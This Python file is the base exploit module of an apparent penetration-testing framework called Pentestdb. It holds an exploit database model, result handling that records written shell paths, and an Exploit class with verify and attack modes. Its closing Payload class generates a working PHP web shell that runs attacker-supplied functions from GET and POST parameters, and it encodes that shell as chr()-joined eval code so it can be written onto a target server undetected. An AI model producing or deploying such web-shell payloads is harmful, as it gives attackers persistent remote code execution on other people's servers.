#!/usr/bin/env python
#-*- coding:utf-8 -*-

'''
Pentestdb, a database for penetration test.
Copyright (c) 2014-2015 alpha1e0
=============================================================
Exploit 模块
'''

import os
import sys
import re
import time

import thirdparty.requests as requests
from commons import URL
from orm import Model
from orm import StringField
from orm import TextField
from commons import Output
from coder import Code



OS = ['windows','linux','unix','else']
WEBSERVER = ['iis','apache','nginx','lighthttpd','tomcat','jboss','weblogic','websphere','resin','glassfish']
LANGUAGE = ['php','asp','asp.net','java']



class ExploitError(Exception):
    def __init__(self, msg=None):
        self.errorMsg = msg

    def __str__(self):
        return "Exploit Error, {0}".format(self.errorMsg)



class NotImplementError(ExploitError):
    def __str__(self):
        return "Method not implemented."



class ExploitResultError(ExploitError):
    def __str__(self):
        return "ExploitResult Error, {0}".format(self.errorMsg)



class ExpModel(Model):
    '''
    exploit数据库模型
    '''
    _table = "expinfo"
    _database = os.path.join(sys.path[0],"exploit","exploit.db")

    expName = StringField(primarykey=True,ddl="varchar(255)",notnull=True,vrange="1-255")
    expFile = StringField(ddl="vchar(255)",notnull=True,vrange="1-255")
    version = StringField(ddl="vchar(100)",vrange="1-100")
    author = StringField(ddl="vchar(100)",vrange="1-100")
    createDate = StringField(ddl="date")
    vulDate = StringField(ddl="date")
    vulType = StringField(ddl="vchar(100)",vrange="1-100")
    os = StringField(ddl="vchar(100)",vrange="1-100")
    webserver = StringField(ddl="vchar(255)",vrange="1-255")
    language = StringField(ddl="vchar(100)",vrange="1-100")
    appName = StringField(ddl="vchar(255)",vrange="1-255")
    appVersion = StringField(ddl="vchar(100)",vrange="1-100")
    reference = StringField(ddl="vchar(2048)",vrange="1-2048")
    description = TextField(ddl="text")



class Result(dict):
    '''
    Result保存exploit输出信息，有以下属性：
        target : exploit的目的主机
        expname : exploit名称
        isvul : 是否存在漏洞
            0 : 不存在漏洞
            1 : 存在漏洞
            2 : 漏洞情况未知，存在渗透信息（用于payload生成类型的exploit）
           99 : exploit执行失败
        fullpath : URL全路径
        payload : exploit使用的有效payload
        vulinfo : exploit执行返回的信息，例如数据库账户名等
        shellpath : 写入的shell路径地址
        attachment : 附件
        elseinfo : 其他信息
        paramtype : exploit发送请求的类型，GET/POST等
        params : exploit发送请求的内容
    
    '''
    _allowAttribute = ['isvul', 'expname', 'target', 'fullpath', 'paramtype', 'params', 'payload', 'vulinfo', 'shellpath', 'attachment', 'elseinfo']
    
    NOTVUL = 0  # 不存在漏洞
    VUL = 1     # 存在漏洞
    INFO = 2    # 存在渗透信息
    ERROR = 99  # exploit执行失败

    def __init__(self, expObject=None):
        super(Result,self).__setitem__("isvul", self.NOTVUL)
        self._isvulSeted = False  # 用于指示isvul是否被设置过

        if expObject:
            if isinstance(expObject, Exploit):
                self['target'] = expObject.host
                self['expname'] = expObject.expName


    def __getitem__(self, key):
        if key not in self._allowAttribute:
            raise ExploitResultError("key '{0}' is not allowed".format(key))
        else:
            return super(Result,self).__getitem__(key)


    def __setitem__(self, key, value):
        if key not in self._allowAttribute:
            raise ExploitResultError("key '{0}' is not allowed".format(key))
        else:
            # 当fullpath，vulinfo等属性设置时会自动将isvul设置为result.VUL，如果已经设置了isvul则此处不设置
            if key == "isvul":
                if value not in [self.NOTVUL,self.VUL,self.INFO,self.ERROR]:
                    raise ExploitResultError("'isvul' attribute should be 'Result.NOTVUL/VUL/INFO/ERROR'")
                self._isvulSeted = True
            elif not self._isvulSeted and key in ['fullpath','payload','vulinfo','shellpath','attachment']:
                super(Result,self).__setitem__("isvul", self.VUL)
                self._isvulSeted = True
                
            return super(Result,self).__setitem__(key,value)



    def _formatAttr(self, key, rtype):
        '''
        格式化exploit结果信息中的属性值对
        @params:
            rtype :
                0 : 不存在漏洞
                1 : 存在漏洞
                2 : 有辅渗透信息（用于payload生成类型的exploit）
            key : 格式化的属性
        '''
        result = ""
        if rtype == self.NOTVUL:
            if key == 'isvul':
                value = u"不存在漏洞"
            else:
                value = self.get(key, None)
            if value:
                result = Output.Y("{0:>11} : ".format(key)) + Output.G(value) + "\n"
        elif rtype == self.VUL:
            if key == 'isvul':
                value = u"存在漏洞"
            else:
                value = self.get(key, None)
            if value:
                result = Output.Y("{0:>11} : ".format(key)) + Output.R(value) + "\n"
        elif rtype == self.INFO:
            if key == 'isvul':
                value = u"漏洞情况未知"
            else:
                value = self.get(key, None)
            if value:
                result = Output.Y("{0:>11} : {1}\n".format(key, value))
        elif rtype == self.ERROR:
            if key == 'isvul':
                value = u"Exploit执行失败"
            else:
                value = self.get(key, None)
            if value:
                result = Output.Y("{0:>11} : ".format(key)) + value + "\n"
        else:
            raise ExploitResultError("'isvul' attribute should be 'Result.NOTVUL/VUL/INFO/ERROR'")

        return result


    def __str__(self):
        resultStr = ""
        rtype = self['isvul']

        for key in self._allowAttribute:
            resultStr = resultStr + self._formatAttr(key,rtype)

        return resultStr



class Exploit(object):
    '''
    Exploit基类
    @remarks:
        Exploit会提供一些成员变量供使用，以URL为例，http://www.aaa.com/path/index.php?a=1&b=2
            uri: URL资源部分，不包括URL参数http://www.aaa.com/path/index.php
            host: http://www.aaa.com
            path: /index.php
            baseURL: http://www.aaa.com/path/
            params: {'a': '1', 'b': '2'}
    '''
    def __init__(self, url="", cookies={}, headers={}, args={}, proxy={}):
        '''
        @params
            url: 目标url
            cookie: 自定义cookie，字符串类型
            headers: http headers, 字典类型
            args: 其他参数, 字典类型
        '''
        self.url = url.strip()
        if self.url:
            formated = URL.format(self.url)
            self.protocol = formated.protocol
            self.uri = formated.uri
            self.host = formated.host
            self.path = formated.path
            self.baseURL = formated.baseURL
            self.params = formated.params
        else:
            self.uri,self.host,self.path,self.baseURL,self.params = "","","","",""

        self.args = args

        self.http = requests.Session()

        if cookies:
            for key,value in cookies.iteritems():
                self.http.cookies.set(key,value)

        if headers: self.http.headers.update(headers)
        if proxy: self.http.proxies = proxy

        self.register()


    def execute(self, mode="verify"):
        try:
            if mode == "attack":
                result = self._attack()
            else:
                result = self._verify()
        except requests.ConnectionError as error:
            result = Result(self)
            result['isvul'] = result.ERROR
            result['elseinfo'] = "Connection Error, {0}".format(str(error))
        except NotImplementError:
            try:
                result = self._info()
            except ExploitResultError as error:
                result = Result(self)
                result['isvul'] = result.ERROR
                result['elseinfo'] = "result format error: " + str(error)
            except Exception as error:
                result = Result(self)
                result['isvul'] = result.ERROR
                result['elseinfo'] = "exploit _info function error: " + str(error)
        except ExploitResultError as error:
            result = Result(self)
            result['isvul'] = result.ERROR
            result['elseinfo'] = "result format error: " + str(error)
        except ExploitError as error:
            result = Result(self)
            result['isvul'] = result.ERROR
            result['elseinfo'] = str(error)
        finally:
            self.http.close()

        return result


    def _info(self):
        raise NotImplementError()


    def _verify(self):
        raise NotImplementError()


    def _attack(self):
        raise NotImplementError()


    def register(self):
        '''
        注册exploit信息
        '''
        expInfo = dict()
        for key in self.__class__.__dict__:
            if key in ExpModel._mapping:
                expInfo[key] = self.__class__.__dict__[key]

        if ExpModel.get(expInfo['expName']):
            return True
        else:
            expInfo['createDate'] = time.strftime("%Y-%m-%d")
            expInfo['expFile'] = self.__module__.split(".")[-1] + ".py"

            ExpModel.insert(**expInfo)


    def update(self):
        '''
        更新exploit信息
        '''
        expInfo = dict()
        for key in self.__class__.__dict__:
            if key in ExpModel._mapping:
                expInfo[key] = self.__class__.__dict__[key]

        if ExpModel.get(expInfo['expName']):
            ExpModel.where(expName=expInfo['expName']).update(**expInfo)
        else:
            ExpModel.insert(**expInfo)


    def urlJoin(self, path):
        '''
        合并url，如果self.url包含path则返回self.url，否则baseURL和path合并
        '''
        path = path.strip()
        keyword = path.rstrip("/").split("/")[-1]

        if keyword not in self.url:
            return self.baseURL.rstrip("/") + "/" + path.lstrip("/")
        else:
            return self.url



class Payload(object):
    '''
    常用Payload生成
    '''
    def __init__(self, payload=None):
        self.payload = payload


    @classmethod
    def phpWriteFile(cls, path, content):
        code = "file_put_contents({0}, {1});".format(path,content)

        encodedCode = ".".join(["chr({0})".format(ord(x)) for x in code])
        encodedCode = "eval({0});".format(encodedCode)

        return encodedCode


    @classmethod
    def phpWriteShell(cls, path):
        shell = '<?php $f=strrev($_GET["f"]);$f($_POST["pass"]);?>'

        return cls.phpWriteFile(path, shell)


    def urlEncode(self):
        return urllib.quote(self.payload)


    def urlAllEncode(self):
        code = Code(self.payload)

        return code.encode("url-all")


    def unicodeEncode(self):
        pass


    def unicodeAllEncode(self):
        pass